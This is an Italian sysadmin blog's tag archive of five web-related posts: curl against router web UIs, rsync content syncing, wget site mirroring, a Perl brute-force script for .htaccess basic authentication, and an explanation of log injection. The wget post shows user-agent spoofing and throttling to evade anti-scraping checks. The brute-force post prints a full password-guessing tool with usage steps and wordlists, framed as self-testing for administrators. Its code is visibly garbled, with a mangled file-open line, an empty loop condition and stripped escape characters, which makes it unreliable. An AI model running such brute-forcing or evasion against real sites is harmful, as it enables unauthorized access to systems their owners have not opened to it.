Archivi tag: web

cURL: interagire con l’interfaccia Web dei dispositivi di rete mediante linea di comando

Spesso e volentieri abbiamo a che fare con delle macchine *nix sprovviste di Desktop Enviroment (altrimenti conosciuto come server X), attraverso le quali è necessario accedere all’interfaccia Web di alcuni dispositivi di rete SOHO, in modo da effettuare le classiche operazioni di management (cambio di configurazione, riavvio, ecc.).

A tal proposito, esiste un tool molto potente da utilizzare mediante CLI, che prende il nome di cURL.

curlAdesso vedremo quali sono le analisi preliminari che ci permetteranno di capire se l’interfaccia Web con cui vogliamo interagire potrà essere manipolata tramite cURL o meno.

Analisi del codice sorgente

Il primo step consiste nello scaricare il codice sorgente dalla pagina, utilizzando le giuste credenziali di accesso (se previste). Ad esempio:

[root@linuxbox ~]# curl -u username:password http://192.168.1.1

A questo punto possiamo distinguere due macro casi:

1) la pagina Web contiene prevalentemente del codice HTML ed i cambi di configurazione possono essere effettuati mediante dei semplici form e l’invio dei dati attraverso HTTP POST o GET. In tal caso siamo stati fortunati e potremo procedere;

2) la pagina Web contiene soprattutto del codice javascrip e tutte le operazioni di management si avvalgono del suddetto codice. In questo caso siamo stati sfortunati e dovremo demordere, in quanto cURL non supporta javascrip.

Poniamoci quindi nel caso 1 e procediamo.

Per prima cosa occorre analizzare il codice sorgente della pagina di interesse andando alla ricerca dei tag:

<form></form>

all’interno dei quali è presente l’attributo action che punta alla pagina Web che si occuperà di processare i dati del form. Ad esempio:

 
<form action="apply.cgi" method="post">
<input type="hidden" name="page" value="device.asp">

    <input type="submit" name="action" value="Reboot">
</form>

Inoltre, bisogna capire quali e quanti campi di input (con relativo valore), identificati mediante gli attributi id o name, è necessario sottoporre alla suddetta pagina Web. Infatti, molto spesso, come misura molto blanda per contrastare alcuni attacchi Web quali il CSRF (vedi qui per ulteriori dettagli), vengono utilizzati dei campi di input di tipo hidden da inviare insieme al contenuto degli altri campi del form.

Una volta capito quali sono i campi da inoltrare alla pagina specificata dall’attributo action del form HTML (magari utilizzando il classico metodo trial-and-error), possiamo procedere con il loro inoltro vero e proprio, avvalendoci, ad esempio, del seguente comando:

curl -u username:password -s -d "action=Reboot&page=device.asp" http://192.168.1.1/apply.cgi

Nella fattispecie, la pagina che si occuperà di processare i dati è apply.cgi, mentre i campi di input inviati sono action, il cui valore è Reboot, e page, il cui valore è device.asp. Da notare che le suddette informazioni sono state inviate in formato querystring (ovvero utilizzando il carattere & di concatenazione).

Infine, occorre precisare che la flag -s evita di inviare allo standard output le statistiche relative al processamento della pagina richiesta, mentre la flag -d (data) è quella che ci permette di inviare i dati attraverso un semplice HTTP POST.

Per ora è tutto. Alla prossima.

Sincronizzazione dei contenuti Web tramite rsync

Supponiamo che vi siano in produzione N frontend Web dietro bilanciatore e che quindi, ad ogni release, si renda necessario caricare i contenuti su ciascuno di essi (rendendo la vita difficile agli sviluppatori).

Ho deciso quindi di automatizzare tale procedura mediante l’uso di rsync. In soldoni, i contenuti Web verranno caricati manualmente su un unico frontend (che fungerà da server) mentre le altre macchine fungeranno da client (ovvero aggiorneranno i loro contenuti ogni X minuti consultando direttamente la macchina server).

rsyncConfigurazione della macchina server

Tale attività si articola in due fasi: la prima consiste nell’installazione e nella corretta configurazione del demone xinetd (evoluzione del celeberrimo inetd), mentre la seconda riguarda solo ed esclusivamente rsync.

Procediamo dunque con l’installazione di xinetd:

[root@front1 ~]# yum install xinetd

ed impostiamo l’avvio automatico del demone in questione per i diversi runlevel:

[root@front1 ~]# chkconfig --levels 2345 xinetd on

Posizioniamoci nella dir /etc/xinetd.d ed apriamo in scrittura il file rsync, sostituendo la direttiva:

disable = yes

con

disable = no

In definitiva, il suddetto file, dovrà avere il seguente contenuto:

service rsync
{
        disable = no
        flags           = IPv6
        socket_type     = stream
        wait            = no
        user            = root
        server          = /usr/bin/rsync
        server_args     = --daemon
        log_on_failure  += USERID
}

Passiamo ora al secondo step relativo alla configurazione della macchina server, ovvero la creazione del file rsyncd.conf nella directory /etc:

[root@front1 ~]# touch /etc/rsyncd.conf

All’interno del suddetto file creeremo dei moduli ad-hoc contenenti tutte le direttive necessarie per la sincronizzazione dei contenuti tra server e client, ad esempio:

log file = /var/log/rsyncd.log
pid file = /var/run/rsyncd.pid
lock file = /var/run/rsync.lock
[images]
   path = /var/www/html/images
   uid = root
   gid = root
   read only = no
   list = yes
   host allow = 10.12.66.0/24

Salviamo il file ed avviamo xinetd:

[root@front1 ~]# service xinetd start

Configurazione delle macchine client

Tale configurazione consiste esclusivamente nella creazione di una entry crontab del tipo:

*      *   * * *     root          rsync -avr root@10.12.66.1::images /var/www/html/images/

ovvero ogni minuto viene contattato il server (10.12.66.1, modulo images che punta a /var/www/html/images/) e viene sincronizzato il contenuto della dir del client /var/www/html/images/.

Fine del post, alla prossima.

Backup di un sito Web mediante wget

Qualche giorno fa mi è capitato di dover effettuare il backup di un sito Web senza conoscere le credenziali FTP. Fortunatamente si trattava di un sito sprovvisto di codice lato server, quindi per me è stato piuttosto semplice salvarne una copia in locale.

wget,web,dump,backup,client web,server web,ftp

Per fare tale operazione ho utilizzato il mitico wget, ed in particolare il comando:

nightfly@nightbox:~$ wget -r www.siteexample.it

Tutto il contenuto del sito è stato automaticamente salvato nella directory www.siteexample.it.

Devo ammettere però che ho avuto un po’ di fortuna. Infatti, non tutti i server Web consentono liberamente il dump dei loro siti (il termine phishing vi dice qualcosa?). Proprio per impedire tale pratica, molto spesso viene implementato un meccanismo di protezione basato sul riconoscimento del client Web: nel caso in cui il server si accorgesse che è wget a richiedere le pagine del sito, risponderà picche.

Tale controllo risulta comunque facilmente aggirabile. Infatti wget consente lo spoofing del client, che può essere impostato manualmente digitando:

nightfly@nightbox:~$ wget -r -U "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" www.siteexample.it

Invece, nel caso in cui i controlli si basassero anche sui tempi che intercorrono tra la visualizzazione di una pagina e quella successiva, oppure sulla velocità di download delle stesse, basterà utilizzare correttamente le flag –wait e –limit-rate:

nightfly@nightbox:~$ wget --wait=30 --limit-rate=10K -r -U "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" www.siteexample.it

Ed il backup del sito è pronto.

A presto.

Script perl per attacchi bruteforce contro l’autenticazione .htaccess

Premessa

Questo scrip non è farina del mio sacco. Il solo scopo di questo post è quello di mostrarne il funzionamento, in modo da semplificare la vita agli amministratori di sistema che volessero saggiare la robustezza delle credenziali .htaccess per l’accesso ai loro siti Web.

 

brute.jpg

Scrip

#!/usr/bin/perl
###
#
# brute password crackalacker. useful for anything that uses .htaccess
# or other basic authentication methods.
#
# don't use it for anything stupid. it's for pentesting.
# - nwo
#
# 11/2/2007
#
###

use LWP::UserAgent;

sub usage() {
$progname = $0;
print "+--- created by nwo ---+n";
print "$progname (ip) (user) (dictionary file)n";
print "n";
exit(0);
}

sub auth() {
local($pw) = @_;
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new(GET => "http://$ip/");
$req->authorization_basic($user, $pw);
@data = $ua->request($req)->as_string;
foreach $line (@data) {
if($line =~ /401/) {
return "0";
} else {
return "1";
}
}
}
$ip = $ARGV[0];
$user = $ARGV[1];
$dict = $ARGV[2];
if($dict eq "") {
$dict = "D8.DIC";
}
if($user eq "") { &usage; }

D, "$dict") || die "$!";
while() {
chomp($line = $_);
print "Trying $line....";
if((&auth($line)) eq "0") {
print "failed. Next..n";
next;
}
if((&auth($line)) eq "1") {
print "success! Password is $linen";
exit(0);
}
}

Lo usage dello scrip (come riportato nel sorgente) è il seguente:

perl htbrute.pl <ip del sito> <user> <dizionario>

Ad esempio:

perl htbrute.pl 192.168.1.1 admin italian

In particolare, i dizionari sono presenti nella directory /usr/share/dict. Potete comunque installarne di nuovi mediante il comando:

nightfly@nightbox:~$ sudo apt-get install <nome del dizionario>

I dizionari disponibili per l’installazione sono i seguenti (divisi in base alla lingua):

wgerman-medical
wfinnish
wcanadian-small
wcanadian-large
wcanadian-insane
wcanadian-huge
wcanadian
wbritish-small
wbritish-large
wbritish-insane
wbritish-huge
wamerican-small
wamerican-large
wamerican-insane
wamerican-huge
wukrainian
wswiss
wswedish
wspanish
wportuguese
wpolish
wogerman
wnorwegian
wngerman
witalian
wgalician-minimos
wfrench
wfaroese
wdutch
wdanish
wcatalan
wbulgarian
wbritish
wbrazilian
wamerican
miscfiles

Infine, nel caso in cui il nostro sito fosse raggiungibile solo mediante HTTPS, basta modificare la seguente stringa:

$req = HTTP::Request->new(GET => "http://$ip/");

in:

$req = HTTP::Request->new(GET => "https://$ip/");

Discorso simile va fatto se occorre controllare una determinata sottodirectory:

$req = HTTP::Request->new(GET => "http://$ip/nomedir");

Buon PenTest.

Attacco log injection

L’analisi dei log rappresenta una delle operazioni più importanti dell’ambito della sicurezza dei sistemi, in quanto consente di individuare eventuali tentativi di attacco provenienti dall’esterno (Internet) o dall’interno (la nostra LAN oppure il nostro stesso PC). Inultile dire che, affinchè l’identificazione degli attacchi ed eventualmente degli attaccanti abbia buon fine, è assolutamente necessario che i log siano integri e non siano soggetti a possibili operazioni di tampering (alterazione), il cui scopo è proprio quello di confondere le acque e rendere più difficile il lavoro del sys/net admin di turno.

Ora, esistono sostanzialmente due metodi per attaccare direttamente i file di log: il primo consiste nall’alterazione diretta degli stessi attraverso l’inserimento di stringhe forgiate appositamente per rispecchiare la sintassi dei log creati dall’applicazione vittima; il secondo ha come obiettivo quello di inviare un numero molto elevato di attempt in modo da far aumentare le dimensioni dei file di log e provocare una sorta di attacco DoS basato sull’esaurimento di una risorsa fondamentale, ovvero la memoria di massa (leggasi spazio sull’hard disk).

Affinchè la manomissione dei log possa avvenire nonostante l’attaccante non abbia i permessi di scrittura su tale tipo di file, è indispensabile identificare la sintassi utilizzata in fase di logging dall’applicazione che si vuole attaccare.

Facciamo un esempio pratico. Supponiamo che l’attaccante, dopo una scansione mediante nmap, identifichi apache tra i servizi attivi sulla nostra macchina. L’accesso al sito Web è inoltre subordinato e vincolato dall’inserimento delle giuste credenziali (username e password), misura di sicurezza realizzata attraverso un file .htaccess. La prima cosa che farà l’attaccante sarà quella di studiarsi la sintassi che caratterizza i file di log dell’applicazione in questione. Una volta identificata tale sintassi, creerà delle righe apposite da inserire nei campi di input visualizzati dal browser ed il cui scopo è quello di permettere ad un utente di autenticarsi e quindi accedere ai contenuti del sito Web.

Un file di log non alterato potrebbe apparire nel seguente modo:

 User login failed for: guest
 User login failed for: admin

Nel caso in cui, però, l’attaccante inserisse nei campi di input la seguente stringa:

guest (backslash)nUser login succeeded for: admin

otterrebbe come risultato:

 User login failed for: guest
 User login succeeded for: admin

proprio grazie all’ausilio del carattere di newline (backslash)n.

Inutile dire che una semplice contromisura a questa tipologia di attacco si basa sulla validazione dell’input e sul whitelisting di determinati caratteri (ad esempio mediante l’uso delle espressioni regolari).

Per ciò che concerne invece gli attacchi DoS menzionati in precedenza, una valida contromisura è rappresentata da un uso corretto del logrotate, il quale consente di archiviare i file di log solo per un certo lasso di tempo, provvedendo anche alla compressione degli stessi per risparmiare spazio sull’hard disk.

Fine del post. See ya.

PS: mi dispiace per l’assenza del carattere backslash, ma a quanto pare myblog lo rifiuta categoricamente (credo per motivi di sicurezza).